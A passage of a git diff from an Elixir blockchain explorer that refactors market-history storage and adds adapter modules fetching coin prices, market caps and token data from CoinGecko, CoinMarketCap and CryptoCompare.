Enum.sort_by(& &1.date) - - Repo.insert_all(MarketHistory, records_without_zeroes, on_conflict: :nothing, conflict_target: [:date]) - end - - def add_price(%{symbol: symbol} = token) do - known_address = get_known_address(symbol) - - matches_known_address = known_address && known_address == token.contract_address_hash - - usd_value = - if matches_known_address do - fetch_token_usd_value(matches_known_address, symbol) - else - nil - end - - Map.put(token, :usd_value, usd_value) - end - - def add_price(%CurrentTokenBalance{token: token} = token_balance) do - token_with_price = add_price(token) - - Map.put(token_balance, :token, token_with_price) - end - - def add_price(tokens) when is_list(tokens) do - Enum.map(tokens, fn item -> - case item do - {token_balance, token} -> - {add_price(token_balance), token} - - token_balance -> - add_price(token_balance) - end - end) + @doc """ + Get most recent exchange rate for the secondary coin from DB. + """ + @spec get_secondary_coin_exchange_rate() :: Token.t() + def get_secondary_coin_exchange_rate do + Coin.get_secondary_coin_exchange_rate() || get_native_coin_exchange_rate_from_db(true) end - defp fetch_token_usd_value(true, symbol) do - case get_exchange_rate(symbol) do - %{usd_value: usd_value} -> usd_value - nil -> nil - end + @doc """ + Retrieves the token exchange rate information for a specific date. + + This function fetches historical market data for a given datetime and constructs + a token record with price information. If the datetime is nil or no market + history exists for the specified date, returns a null token record. + + ## Parameters + - `datetime`: The datetime for which to retrieve the exchange rate. If nil, + returns a null token record. + - `options`: Additional options for retrieving market history data. + + ## Returns + - A `Token` struct containing the closing price as fiat value, market cap, and + TVL from the market history. All other token fields are set to nil. + - A null token record if datetime is nil or no market history exists for the + specified date. + """ + @spec get_coin_exchange_rate_at_date(DateTime.t() | nil, Keyword.t()) :: Token.t() + def get_coin_exchange_rate_at_date(nil, _options), do: Token.null() + + def get_coin_exchange_rate_at_date(datetime, options) do + datetime + |> DateTime.to_date() + |> MarketHistory.price_at_date(false, options) + |> MarketHistory.to_token() end - - defp fetch_token_usd_value(_matches_known_address, _symbol), do: nil end diff --git a/apps/explorer/lib/explorer/market/market_history.ex b/apps/explorer/lib/explorer/market/market_history.ex index 10850177b7c5..56f6e8cb4097 100644 --- a/apps/explorer/lib/explorer/market/market_history.ex +++ b/apps/explorer/lib/explorer/market/market_history.ex @@ -5,11 +5,8 @@ defmodule Explorer.Market.MarketHistory do use Explorer.Schema - schema "market_history" do - field(:closing_price, :decimal) - field(:date, :date) - field(:opening_price, :decimal) - end + alias Explorer.{Chain, Repo} + alias Explorer.Market.Token @typedoc """ The recorded values of the configured coin to USD for a single day. @@ -17,10 +14,89 @@ defmodule Explorer.Market.MarketHistory do * `:closing_price` - Closing price in USD. * `:date` - The date in UTC. * `:opening_price` - Opening price in USD. + * `:market_cap` - Market cap in USD. + * `:tvl` - TVL in USD. """ - @type t :: %__MODULE__{ - closing_price: Decimal.t(), - date: Date.t(), - opening_price: Decimal.t() - } + typed_schema "market_history" do + field(:closing_price, :decimal) + field(:date, :date, null: false) + field(:opening_price, :decimal) + field(:market_cap, :decimal) + field(:tvl, :decimal) + field(:secondary_coin, :boolean, default: false) + end + + @doc """ + Returns the market history (for the secondary coin if specified) for the given date. + """ + @spec price_at_date(Date.t(), boolean(), [Chain.api?()]) :: t() | nil + def price_at_date(date, secondary_coin? \\ false, options \\ []) do + query = + from( + mh in __MODULE__, + where: mh.date == ^date and mh.secondary_coin == ^secondary_coin? + ) + + Chain.select_repo(options).one(query) + end + + @doc false + @spec bulk_insert([map()]) :: {non_neg_integer(), nil | [term()]} + def bulk_insert(records) do + records_without_zeroes = + records + |> Enum.reject(fn item -> + Map.has_key?(item, :opening_price) && Map.has_key?(item, :closing_price) && + Decimal.equal?(item.closing_price, 0) && + Decimal.equal?(item.opening_price, 0) + end) + # Enforce MarketHistory ShareLocks order (see docs: sharelocks.md) + |> Enum.sort_by(& &1.date) + + Repo.safe_insert_all(__MODULE__, records_without_zeroes, + on_conflict: market_history_on_conflict(), + conflict_target: [:date, :secondary_coin] + ) + end + + @spec to_token(t() | nil) :: Token.t() + def to_token(%__MODULE__{} = market_history) do + %Token{ + fiat_value: market_history.closing_price, + market_cap: market_history.market_cap, + tvl: market_history.tvl, + available_supply: nil, + total_supply: nil, + btc_value: nil, + last_updated: nil, + name: nil, + symbol: nil, + volume_24h: nil, + image_url: nil + } + end + + def to_token(_), do: Token.null() + + defp market_history_on_conflict do + from( + market_history in __MODULE__, + update: [ + set: [ + opening_price: fragment("COALESCE(EXCLUDED.opening_price, ?)", market_history.opening_price), + closing_price: fragment("COALESCE(EXCLUDED.closing_price, ?)", market_history.closing_price), + market_cap: fragment("COALESCE(EXCLUDED.market_cap, ?)", market_history.market_cap), + tvl: fragment("COALESCE(EXCLUDED.tvl, ?)", market_history.tvl) + ] + ], + where: + fragment( + "(EXCLUDED.opening_price, EXCLUDED.closing_price, EXCLUDED.market_cap, EXCLUDED.tvl) IS DISTINCT FROM (? , ?, ?, ?)", + market_history.opening_price, + market_history.closing_price, + market_history.market_cap, + market_history.tvl + ) + ) + end end diff --git a/apps/explorer/lib/explorer/market/market_history_cache.ex b/apps/explorer/lib/explorer/market/market_history_cache.ex index 55db8e5514a4..8c0d479a776a 100644 --- a/apps/explorer/lib/explorer/market/market_history_cache.ex +++ b/apps/explorer/lib/explorer/market/market_history_cache.ex @@ -5,7 +5,7 @@ defmodule Explorer.Market.MarketHistoryCache do import Ecto.Query, only: [from: 2] - alias Explorer.Counters.Helper + alias Explorer.Chain.Cache.Counters.Helper alias Explorer.Market.MarketHistory alias Explorer.Repo @@ -15,12 +15,15 @@ defmodule Explorer.Market.MarketHistoryCache do # 6 hours @recent_days 30 - def fetch do - if cache_expired?() do + def fetch(secondary_coin? \\ false) do + @last_update_key + |> cache_expired?() + |> if do update_cache() else fetch_from_cache(@history_key) end + |> Enum.filter(&(&1.secondary_coin == secondary_coin?)) end def cache_name, do: @cache_name @@ -31,9 +34,9 @@ defmodule Explorer.Market.MarketHistoryCache do def recent_days_count, do: @recent_days - defp cache_expired? do - cache_period = market_history_cache_period() - updated_at = fetch_from_cache(@last_update_key) + defp cache_expired?(key) do + cache_period = Application.get_env(:explorer, __MODULE__)[:cache_period] + updated_at = fetch_from_cache(key) cond do is_nil(updated_at) -> true @@ -71,8 +74,4 @@ defmodule Explorer.Market.MarketHistoryCache do defp put_into_cache(key, value) do ConCache.put(@cache_name, key, value) end - - defp market_history_cache_period do - Helper.cache_period("CACHE_MARKET_HISTORY_PERIOD", 6) - end end diff --git a/apps/explorer/lib/explorer/market/source.ex b/apps/explorer/lib/explorer/market/source.ex new file mode 100644 index 000000000000..13b80d0d336a --- /dev/null +++ b/apps/explorer/lib/explorer/market/source.ex @@ -0,0 +1,367 @@ +defmodule Explorer.Market.Source do + @moduledoc """ + Defines behaviors and utilities for fetching cryptocurrency market data from multiple sources. + + This module provides a comprehensive interface for retrieving market data including: + - Native and secondary coin information + - Token details + - Price history + - Market capitalization history + - Total Value Locked (TVL) history + + The module supports multiple data providers through behavior callbacks: + - CoinGecko + - CoinMarketCap + - CryptoCompare + - CryptoRank + - DefiLlama + - Mobula + + Each data source can implement specific callbacks based on its capabilities: + - Native coin data fetching + - Secondary coin data fetching + - Token data fetching + - Price history retrieval + - Market cap history retrieval + - TVL history retrieval + + The module also provides utility functions for: + - Making HTTP requests with proper error handling + - Processing dates and URLs + - Converting values to Decimal type + - Configuring and selecting appropriate data sources for different types of market + data + """ + + alias Explorer.Chain.Hash + alias Explorer.{Helper, HttpClient} + + alias Explorer.Market.Source.{ + CoinGecko, + CoinMarketCap, + CryptoCompare, + CryptoRank, + DefiLlama, + Mobula + } + + alias Explorer.Market.Token + + # Native coin processing + @callback native_coin_fetching_enabled?() :: boolean() | :ignore + @callback fetch_native_coin() :: {:ok, Token.t()} | {:error, any()} | :ignore + + # Secondary coin processing + @callback secondary_coin_fetching_enabled?() :: boolean() | :ignore + @callback fetch_secondary_coin() :: {:ok, Token.t()} | {:error, any()} | :ignore + + # Tokens processing + @type state() :: any() + @type fetch_finished?() :: boolean() + @callback tokens_fetching_enabled?() :: boolean() | :ignore + @callback fetch_tokens(state() | nil, non_neg_integer()) :: + {:ok, state(), fetch_finished?(), [token_params]} | {:error, any()} | :ignore + when token_params: %{ + required(:contract_address_hash) => Hash.Address.t(), + required(:type) => String.t(), + optional(any()) => any() + } + + # Price history processing + @type history_price_record() :: %{ + closing_price: Decimal.t(), + date: Date.t(), + opening_price: Decimal.t(), + secondary_coin: boolean() + } + + @callback native_coin_price_history_fetching_enabled?() :: boolean() | :ignore + @callback fetch_native_coin_price_history(previous_days :: non_neg_integer()) :: + {:ok, [history_price_record()]} | {:error, any()} | :ignore + + @callback secondary_coin_price_history_fetching_enabled?() :: boolean() | :ignore + @callback fetch_secondary_coin_price_history(previous_days :: non_neg_integer()) :: + {:ok, [history_price_record()]} | {:error, any()} | :ignore + + # Market cap history processing + @type history_market_cap_record() :: %{ + date: Date.t(), + market_cap: Decimal.t() + } + + @callback market_cap_history_fetching_enabled?() :: boolean() | :ignore + @callback fetch_market_cap_history(previous_days :: non_neg_integer()) :: + {:ok, [history_market_cap_record()]} | {:error, any()} | :ignore + + # TVL history processing + @type history_tvl_record() :: %{ + date: Date.t(), + tvl: Decimal.t() + } + + @callback tvl_history_fetching_enabled?() :: boolean() | :ignore + @callback fetch_tvl_history(previous_days :: non_neg_integer()) :: + {:ok, [history_tvl_record()]} | {:error, any()} | :ignore + + @doc """ + Performs an HTTP GET request to the specified URL and processes the response. + + Makes a GET request with JSON content-type header and processes the response based + on the status code. Successfully retrieved data is JSON-decoded with special + handling for NFT-related responses. Error responses are formatted into descriptive + error messages. + + ## Parameters + - `source_url`: The URL to send the GET request to + - `additional_headers`: Extra HTTP headers to be added to the default JSON + content-type header + + ## Returns + - `{:ok, decoded_data}` if the request succeeds with status 200 and valid JSON + response + - `{:error, reason}` in the following cases: + - Status 300-308: reason will be "Source redirected" + - Status 400-526: reason will be "status_code: error_message" from the response + - Other status codes: reason will be "Source unexpected status code" + - HTTP client errors: reason will be the underlying error + - JSON decoding errors: reason will be the raw response body + """ + @spec http_request(String.t(), [{atom() | binary(), binary()}]) :: {:ok, any()} | {:error, any()} + def http_request(source_url, additional_headers) do + case HttpClient.get(source_url, headers() ++ additional_headers) do + {:ok, %{body: body, status_code: 200}} -> + parse_http_success_response(body) + + {:ok, %{body: body, status_code: status_code}} when status_code in 400..526 -> + {:error, "#{status_code}: #{body}"} + + {:ok, %{status_code: status_code}} when status_code in 300..308 -> + {:error, "Source redirected"} + + {:ok, %{status_code: _status_code}} -> + {:error, "Source unexpected status code"} + + {:error, reason} -> + {:error, reason} + end + end + + defp parse_http_success_response(body) do + case Helper.decode_json(body, true) do + {:error, _reason} = error -> error + body_json -> {:ok, body_json} + end + end + + defp headers do + [{"Content-Type", "application/json"}] + end + + @doc """ + Returns `nil` if the date is `nil` or invalid, otherwise returns the parsed date. + Date should be in ISO8601 format + """ + @spec maybe_get_date(String.t() | nil) :: DateTime.t() | nil + def maybe_get_date(nil), do: nil + + def maybe_get_date(date) do + case DateTime.from_iso8601(date) do + {:ok, parsed_date, _} -> parsed_date + _ -> nil + end + end + + @doc """ + Returns `nil` if the url is invalid, otherwise returns the parsed url. + """ + @spec handle_image_url(String.t() | nil) :: String.t() | nil + def handle_image_url(nil), do: nil + + def handle_image_url(url) do + case Helper.validate_url(url) do + {:ok, url} -> url + _ -> nil + end + end + + @doc """ + Converts a value into a Decimal number or returns nil if the input is nil. + + This function provides a safe way to convert various numeric types and their + string representations into Decimal numbers while preserving the exactness of + the input when possible. Float conversions may have precision limitations + inherent to floating-point arithmetic. + + ## Parameters + - `value`: The value to convert. Can be one of: + * `nil` - returned as is + * `Decimal.t()` - returned as is + * `float()` - converted using floating-point arithmetic + * `integer()` - converted exactly + * `String.t()` - parsed exactly according to Decimal string format + + ## Returns + - `nil` if the input is `nil` + - `Decimal.t()` representing the input value + + ## Examples + + iex> to_decimal(nil) + nil + + iex> to_decimal(Decimal.new("1.23")) + Decimal.new("1.23") + + iex> to_decimal(3.14) + Decimal.new("3.14") + + iex> to_decimal(42) + Decimal.new("42") + + iex> to_decimal("123.45") + Decimal.new("123.45") + """ + @spec to_decimal(float() | integer() | Decimal.t() | String.t() | nil) :: Decimal.t() | nil + def to_decimal(nil), do: nil + + def to_decimal(%Decimal{} = value), do: value + + def to_decimal(value) when is_float(value) do + Decimal.from_float(value) + end + + def to_decimal(value) when is_integer(value) or is_binary(value) do + Decimal.new(value) + end + + @sources [CoinGecko, CoinMarketCap, CryptoCompare, CryptoRank, DefiLlama, Mobula] + + @doc """ + Returns a module for fetching native coin market data. + + Uses configured source or finds the first available provider with token fetching + enabled. + + ## Returns + - A module ready to fetch data, or + - `nil` if no source is available + """ + @spec native_coin_source() :: module + def native_coin_source do + config(:native_coin_source) || Enum.find(@sources, fn source -> source.native_coin_fetching_enabled?() == true end) + end + + @doc """ + Returns a module for fetching secondary coin market data. + + Used when tracking two different coins simultaneously. Uses configured source or + finds the first available provider with token fetching enabled. + + ## Returns + - A module ready to fetch data, or + - `nil` if no source is available + """ + @spec secondary_coin_source() :: module + def secondary_coin_source do + config(:secondary_coin_source) || + Enum.find(@sources, fn source -> source.secondary_coin_fetching_enabled?() == true end) + end + + @doc """ + Returns a module for fetching token market data. + + Unlike native/secondary coins, this fetches data for smart contracts + implementing token interface. Uses configured source or finds the first + available provider. + + ## Returns + - A module ready to fetch data, or + - `nil` if no source is available + """ + @spec tokens_source() :: module + def tokens_source do + config(:tokens_source) || Enum.find(@sources, fn source -> source.tokens_fetching_enabled?() == true end) + end + + @doc """ + Returns a module for fetching native coin price history. + + Uses configured source or finds the first available provider, preferring + CryptoCompare as the default source. + + ## Returns + - A module ready to fetch data, or + - `nil` if no source is available + """ + @spec native_coin_price_history_source() :: module + def native_coin_price_history_source do + config(:native_coin_history_source) || + Enum.find([CryptoCompare | @sources], fn source -> + source.native_coin_price_history_fetching_enabled?() == true + end) + end + + @doc """ + Returns a module for fetching secondary coin price history. + + Uses configured source or finds the first available provider, preferring + CryptoCompare as the default source. + + ## Returns + - A module ready to fetch data, or + - `nil` if no source is available + """ + @spec secondary_coin_price_history_source() :: module + def secondary_coin_price_history_source do + config(:secondary_coin_history_source) || + Enum.find([CryptoCompare | @sources], fn source -> + source.secondary_coin_price_history_fetching_enabled?() == true + end) + end + + @doc """ + Returns a module for fetching coin market capitalization history. + + Uses configured source or finds the first available provider with market cap + history fetching enabled. + + ## Returns + - A module ready to fetch data, or + - `nil` if no source is available + """ + @spec market_cap_history_source() :: module + def market_cap_history_source do + config(:market_cap_history_source) || + Enum.find(@sources, fn source -> source.market_cap_history_fetching_enabled?() == true end) + end + + @doc """ + Returns a module for fetching Total Value Locked (TVL) history. + + Uses configured source or finds the first available provider, preferring + DefiLlama as the default source. + + ## Returns + - A module ready to fetch data, or + - `nil` if no source is available + """ + @spec tvl_history_source() :: module + def tvl_history_source do + config(:tvl_history_source) || + Enum.find([DefiLlama | @sources], fn source -> source.tvl_history_fetching_enabled?() == true end) + end + + @spec secondary_coin_string(boolean()) :: String.t() + def secondary_coin_string(secondary_coin?) do + if secondary_coin?, do: "Secondary coin", else: "Coin" + end + + @spec unexpected_response_error(any(), any()) :: String.t() + def unexpected_response_error(source, unexpected_response) do + "Unexpected response from #{inspect(source)}: #{inspect(unexpected_response)}" + end + + defp config(key) do + Application.get_env(:explorer, __MODULE__)[key] + end +end diff --git a/apps/explorer/lib/explorer/market/source/coin_gecko.ex b/apps/explorer/lib/explorer/market/source/coin_gecko.ex new file mode 100644 index 000000000000..b2bbd881bf62 --- /dev/null +++ b/apps/explorer/lib/explorer/market/source/coin_gecko.ex @@ -0,0 +1,294 @@ +defmodule Explorer.Market.Source.CoinGecko do + @moduledoc """ + Adapter for fetching exchange rates from https://coingecko.com + """ + + alias Explorer.Chain.Hash + alias Explorer.Helper + alias Explorer.Market.{Source, Token} + + @behaviour Source + + @impl Source + def native_coin_fetching_enabled?, do: not is_nil(config(:coin_id)) + + @impl Source + def fetch_native_coin, do: do_fetch_coin(config(:coin_id), "Coin ID not specified") + + @impl Source + def secondary_coin_fetching_enabled?, do: not is_nil(config(:secondary_coin_id)) + + @impl Source + def fetch_secondary_coin, do: do_fetch_coin(config(:secondary_coin_id), "Secondary coin ID not specified") + + @impl Source + def tokens_fetching_enabled?, do: not is_nil(config(:platform)) + + @impl Source + def fetch_tokens(state, batch_size) when state in [[], nil] do + case init_tokens_fetching() do + {:error, _reason} = error -> + error + + tokens_to_fetch when is_list(tokens_to_fetch) and length(tokens_to_fetch) > 0 -> + fetch_tokens(tokens_to_fetch, batch_size) + + _ -> + {:error, "Tokens not found for configured platform: #{config(:platform)}"} + end + end + + @impl Source + def fetch_tokens(state, batch_size) do + {to_fetch, remaining} = Enum.split(state, batch_size) + + joined_token_ids = Enum.map_join(to_fetch, ",", & &1.id) + + case Source.http_request( + base_url() + |> URI.append_path("/simple/price") + |> URI.append_query("vs_currencies=#{config(:currency)}") + |> URI.append_query("include_market_cap=true") + |> URI.append_query("include_24hr_vol=true") + |> URI.append_query("ids=#{joined_token_ids}") + |> URI.to_string(), + headers() + ) do + {:ok, data} -> + to_import = put_market_data_to_tokens(to_fetch, data) + {:ok, remaining, Enum.empty?(remaining), to_import} + + {:error, _reason} = error -> + error + end + end + + @impl Source + def native_coin_price_history_fetching_enabled?, do: not is_nil(config(:coin_id)) + + @impl Source + def fetch_native_coin_price_history(previous_days), do: do_fetch_coin_price_history(previous_days, false) + + @impl Source + def secondary_coin_price_history_fetching_enabled?, do: not is_nil(config(:secondary_coin_id)) + + @impl Source + def fetch_secondary_coin_price_history(previous_days), do: do_fetch_coin_price_history(previous_days, true) + + @impl Source + def market_cap_history_fetching_enabled?, do: not is_nil(config(:coin_id)) + + @impl Source + def fetch_market_cap_history(previous_days) do + with coin_id when not is_nil(coin_id) <- config(:coin_id), + {:ok, %{"market_caps" => market_caps_dates}} <- + Source.http_request( + base_url() + |> URI.append_path("/coins/#{coin_id}/market_chart") + |> URI.append_query("vs_currency=#{config(:currency)}") + |> URI.append_query("days=#{previous_days}") + |> URI.to_string(), + headers() + ) do + market_caps = + case market_caps_dates do + [_ | market_caps] -> market_caps + _ -> [] + end + + result = + for {[_, market_cap], [date, _]} <- Stream.zip(market_caps, market_caps_dates) do + %{ + market_cap: Source.to_decimal(market_cap), + date: Helper.unix_timestamp_to_date(date, :millisecond) + } + end + + {:ok, result} + else + nil -> {:error, "Coin ID not specified"} + {:ok, nil} -> {:ok, []} + {:ok, unexpected_response} -> {:error, Source.unexpected_response_error("CoinGecko", unexpected_response)} + {:error, _reason} = error -> error + end + end + + @impl Source + def tvl_history_fetching_enabled?, do: :ignore + + @impl Source + def fetch_tvl_history(_previous_days), do: :ignore + + defp do_fetch_coin(coin_id, coin_id_not_specified_error) do + with coin_id when not is_nil(coin_id) <- coin_id, + {:ok, %{"market_data" => market_data} = data} <- + Source.http_request( + base_url() + |> URI.append_path("/coins/#{coin_id}") + |> URI.append_query("localization=false") + |> URI.append_query("tickers=false") + |> URI.append_query("market_data=true") + |> URI.append_query("community_data=false") + |> URI.append_query("developer_data=false") + |> URI.append_query("sparkline=false") + |> URI.to_string(), + headers() + ) do + {:ok, + %Token{ + available_supply: Source.to_decimal(market_data["circulating_supply"]), + total_supply: + Source.to_decimal(market_data["total_supply"]) || Source.to_decimal(market_data["circulating_supply"]), + btc_value: Source.to_decimal(market_data["current_price"]["btc"]), + last_updated: Source.maybe_get_date(market_data["last_updated"]), + market_cap: Source.to_decimal(market_data["market_cap"][config(:currency)]), + tvl: nil, + name: data["name"], + symbol: String.upcase(data["symbol"]), + fiat_value: Source.to_decimal(market_data["current_price"][config(:currency)]), + volume_24h: Source.to_decimal(market_data["total_volume"][config(:currency)]), + image_url: Source.handle_image_url(data["image"]["small"] || data["image"]["thumb"]) + }} + else + nil -> {:error, coin_id_not_specified_error} + {:ok, unexpected_response} -> {:error, Source.unexpected_response_error("CoinGecko", unexpected_response)} + {:error, _reason} = error -> error + end + end + + defp init_tokens_fetching do + with platform when not is_nil(platform) <- config(:platform), + {:ok, tokens} <- + Source.http_request( + base_url() + |> URI.append_path("/coins/list") + |> URI.append_query("include_platform=true") + |> URI.to_string(), + headers() + ) do + tokens + |> Enum.reduce([], fn + %{ + "id" => id, + "symbol" => symbol, + "name" => name, + "platforms" => %{ + ^platform => token_contract_address_hash_string + } + }, + acc -> + case Hash.Address.cast(token_contract_address_hash_string) do + {:ok, token_contract_address_hash} -> + token = %{ + id: id, + symbol: symbol, + name: name, + contract_address_hash: token_contract_address_hash, + type: "ERC-20" + } + + [token | acc] + + _ -> + acc + end + + _, acc -> + acc + end) + else + nil -> {:error, "Platform not specified"} + {:error, reason} -> {:error, reason} + end + end + + defp put_market_data_to_tokens(tokens, market_data) do + currency = config(:currency) + market_cap = currency <> "_market_cap" + volume_24h = currency <> "_24h_vol" + + tokens + |> Enum.reduce([], fn token, to_import -> + case Map.fetch(market_data, token.id) do + {:ok, %{^currency => fiat_value, ^market_cap => market_cap, ^volume_24h => volume_24h}} -> + token_with_market_data = + Map.merge(token, %{ + fiat_value: Source.to_decimal(fiat_value), + circulating_market_cap: Source.to_decimal(market_cap), + volume_24h: Source.to_decimal(volume_24h) + }) + + [token_with_market_data | to_import] + + _ -> + to_import + end + end) + end + + defp do_fetch_coin_price_history(previous_days, secondary_coin?) do + with coin_id when not is_nil(coin_id) <- + if(secondary_coin?, do: config(:secondary_coin_id), else: config(:coin_id)), + {:ok, %{"prices" => prices}} <- + Source.http_request( + base_url() + |> URI.append_path("/coins/#{coin_id}/market_chart") + |> URI.append_query("vs_currency=#{config(:currency)}") + |> URI.append_query("days=#{previous_days}") + |> URI.to_string(), + headers() + ) do + closings = + case prices do + [_ | closings] -> closings + _ -> [] + end + + result = + for {[date, opening_price], [_, closing_price]} <- Stream.zip(prices, closings) do + %{ + closing_price: Source.to_decimal(closing_price), + date: Helper.unix_timestamp_to_date(date, :millisecond), + opening_price: Source.to_decimal(opening_price) || Source.to_decimal(closing_price), + secondary_coin: secondary_coin? + } + end + + {:ok, result} + else + nil -> {:error, "#{Source.secondary_coin_string(secondary_coin?)} ID not specified"} + {:ok, nil} -> {:ok, []} + {:error, _reason} = error -> error + end + end + + defp base_url do + :api_key + |> config() + |> if do + config(:base_pro_url) + else + config(:base_url) + end + |> URI.parse() + end + + defp headers do + if config(:api_key) do + case config(:base_pro_url) do + "https://api.coingecko.com" <> _ -> + [{"X-Cg-Demo-Api-Key", "#{config(:api_key)}"}] + + _ -> + [{"X-Cg-Pro-Api-Key", "#{config(:api_key)}"}] + end + else + [] + end + end + + @spec config(atom()) :: term + defp config(key) do + Application.get_env(:explorer, __MODULE__)[key] + end +end diff --git a/apps/explorer/lib/explorer/market/source/coin_market_cap.ex b/apps/explorer/lib/explorer/market/source/coin_market_cap.ex new file mode 100644 index 000000000000..3d4a9bbd021e --- /dev/null +++ b/apps/explorer/lib/explorer/market/source/coin_market_cap.ex @@ -0,0 +1,204 @@ +defmodule Explorer.Market.Source.CoinMarketCap do + @moduledoc """ + Adapter for fetching exchange rates from https://coinmarketcap.com/api/ + """ + + alias Explorer.Market + alias Explorer.Market.{Source, Token} + + @behaviour Source + + @impl Source + def native_coin_fetching_enabled?, do: not is_nil(config(:coin_id)) + + @impl Source + def fetch_native_coin, do: do_fetch_coin(config(:coin_id), "Coin ID not specified") + + @impl Source + def secondary_coin_fetching_enabled?, do: not is_nil(config(:secondary_coin_id)) + + @impl Source + def fetch_secondary_coin, do: do_fetch_coin(config(:secondary_coin_id), "Secondary coin ID not specified") + + @impl Source + def tokens_fetching_enabled?, do: :ignore + + @impl Source + def fetch_tokens(_state, _batch_size), do: :ignore + + @impl Source + def native_coin_price_history_fetching_enabled?, do: not is_nil(config(:coin_id)) + + @impl Source + def fetch_native_coin_price_history(previous_days), do: do_fetch_coin_price_history(previous_days, false) + + @impl Source + def secondary_coin_price_history_fetching_enabled?, do: not is_nil(config(:secondary_coin_id)) + + @impl Source + def fetch_secondary_coin_price_history(previous_days), do: do_fetch_coin_price_history(previous_days, true) + + @impl Source + def market_cap_history_fetching_enabled?, do: not is_nil(config(:coin_id)) + + @impl Source + def fetch_market_cap_history(previous_days) do + currency_id = config(:currency_id) + + with coin_id when not is_nil(coin_id) <- config(:coin_id), + {:ok, %{"data" => market_data}} <- + Source.http_request( + base_url() + |> URI.append_path("/cryptocurrency/quotes/historical") + |> URI.append_query("id=#{coin_id}") + |> URI.append_query("count=#{previous_days}") + |> URI.append_query("interval=daily") + |> URI.append_query("convert_id=#{currency_id}") + |> URI.append_query("aux=market_cap") + |> URI.to_string(), + headers() + ) do + quotes = market_data["quotes"] + + result = + for %{"timestamp" => date, "quote" => %{^currency_id => %{"market_cap" => market_cap}}} <- quotes do + date = Source.maybe_get_date(date) + + %{ + date: date && DateTime.to_date(date), + market_cap: Source.to_decimal(market_cap) + } + end + + {:ok, result} + else + nil -> {:error, "Coin ID not specified"} + {:ok, nil} -> {:ok, []} + {:ok, unexpected_response} -> {:error, Source.unexpected_response_error("CoinMarketCap", unexpected_response)} + {:error, _reason} = error -> error + end + end + + @impl Source + def tvl_history_fetching_enabled?, do: :ignore + + @impl Source + def fetch_tvl_history(_previous_days), do: :ignore + + defp do_fetch_coin(coin_id, coin_id_not_specified_error) do + convert_id = + if Application.get_env(:explorer, Market)[:fetch_btc_value], + do: "1,#{config(:currency_id)}", + else: config(:currency_id) + + with coin_id when not is_nil(coin_id) <- coin_id, + {:ok, %{"data" => market_data}} <- + Source.http_request( + base_url() + |> URI.append_path("/cryptocurrency/quotes/latest") + |> URI.append_query("id=#{coin_id}") + |> URI.append_query("convert_id=#{convert_id}") + |> URI.append_query("aux=circulating_supply,total_supply") + |> URI.to_string(), + headers() + ) do + token_properties = market_data |> Map.values() |> List.first() || %{} + currency_id = token_properties["quote"][config(:currency_id)] + + {:ok, + %Token{ + available_supply: Source.to_decimal(token_properties["circulating_supply"]), + total_supply: + Source.to_decimal(token_properties["total_supply"]) || + Source.to_decimal(token_properties["circulating_supply"]), + btc_value: Source.to_decimal(token_properties["quote"]["1"]["price"]), + last_updated: Source.maybe_get_date(currency_id["last_updated"]), + market_cap: Source.to_decimal(currency_id["market_cap"]), + tvl: Source.to_decimal(currency_id["tvl"]), + name: token_properties["name"], + symbol: String.upcase(token_properties["symbol"]), + fiat_value: Source.to_decimal(currency_id["price"]), + volume_24h: Source.to_decimal(currency_id["volume_24h"]), + image_url: nil + }} + else + nil -> + {:error, coin_id_not_specified_error} + + {:ok, unexpected_response} -> + {:error, Source.unexpected_response_error("CoinMarketCap", unexpected_response)} + + {:error, _reason} = error -> + error + end + end + + defp do_fetch_coin_price_history(previous_days, secondary_coin?) do + currency_id = config(:currency_id) + + with coin_id when not is_nil(coin_id) <- + if(secondary_coin?, do: config(:secondary_coin_id), else: config(:coin_id)), + {:ok, %{"data" => %{"quotes" => quotes}}} <- + Source.http_request( + base_url() + |> URI.append_path("/cryptocurrency/quotes/historical") + |> URI.append_query("id=#{coin_id}") + |> URI.append_query("count=#{previous_days}") + |> URI.append_query("interval=daily") + |> URI.append_query("convert_id=#{currency_id}") + |> URI.append_query("aux=price") + |> URI.to_string(), + headers() + ) do + closing_quotes = + case quotes do + [_ | closing_quotes] -> closing_quotes + _ -> [] + end + + result = + for {%{"timestamp" => date, "quote" => %{^currency_id => %{"price" => opening_price}}}, closing_quote} <- + Stream.zip(quotes, Stream.concat(closing_quotes, [nil])) do + date = Source.maybe_get_date(date) + + case closing_quote do + %{"quote" => %{^currency_id => %{"price" => closing_price}}} -> + %{ + closing_price: Source.to_decimal(closing_price), + date: date && DateTime.to_date(date), + opening_price: Source.to_decimal(opening_price), + secondary_coin: secondary_coin? + } + + _ -> + %{ + closing_price: Source.to_decimal(opening_price), + date: date && DateTime.to_date(date), + opening_price: Source.to_decimal(opening_price), + secondary_coin: secondary_coin? + } + end + end + + {:ok, result} + else + nil -> {:error, "#{Source.secondary_coin_string(secondary_coin?)} ID not specified"} + {:ok, nil} -> {:ok, []} + {:ok, unexpected_response} -> {:error, Source.unexpected_response_error("CoinMarketCap", unexpected_response)} + {:error, _reason} = error -> error + end + end + + defp base_url do + URI.parse(config(:base_url)) + end + + defp headers do + if config(:api_key), do: [{"X-CMC_PRO_API_KEY", "#{config(:api_key)}"}], else: [] + end + + @spec config(atom()) :: term + defp config(key) do + Application.get_env(:explorer, __MODULE__)[key] + end +end diff --git a/apps/explorer/lib/explorer/market/source/crypto_compare.ex b/apps/explorer/lib/explorer/market/source/crypto_compare.ex new file mode 100644 index 000000000000..92344c868b08 --- /dev/null +++ b/apps/explorer/lib/explorer/market/source/crypto_compare.ex @@ -0,0 +1,100 @@ +defmodule Explorer.Market.Source.CryptoCompare do + @moduledoc """ + Adapter for fetching market history from https://cryptocompare.com. + """ + + alias Explorer.Helper + alias Explorer.Market.Source + + @behaviour Source + + @impl Source + def native_coin_fetching_enabled?, do: :ignore + + @impl Source + def fetch_native_coin, do: :ignore + + @impl Source + def secondary_coin_fetching_enabled?, do: :ignore + + @impl Source + def fetch_secondary_coin, do: :ignore + + @impl Source + def tokens_fetching_enabled?, do: :ignore + + @impl Source + def fetch_tokens(_state, _batch_size), do: :ignore + + @impl Source + def native_coin_price_history_fetching_enabled?, do: not is_nil(config(:coin_symbol)) + + @impl Source + def fetch_native_coin_price_history(previous_days), do: do_fetch_coin_price_history(previous_days, false) + + @impl Source + def secondary_coin_price_history_fetching_enabled?, do: not is_nil(config(:secondary_coin_symbol)) + + @impl Source + def fetch_secondary_coin_price_history(previous_days), do: do_fetch_coin_price_history(previous_days, true) + + @impl Source + def market_cap_history_fetching_enabled?, do: :ignore + + @impl Source + def fetch_market_cap_history(_previous_days), do: :ignore + + @impl 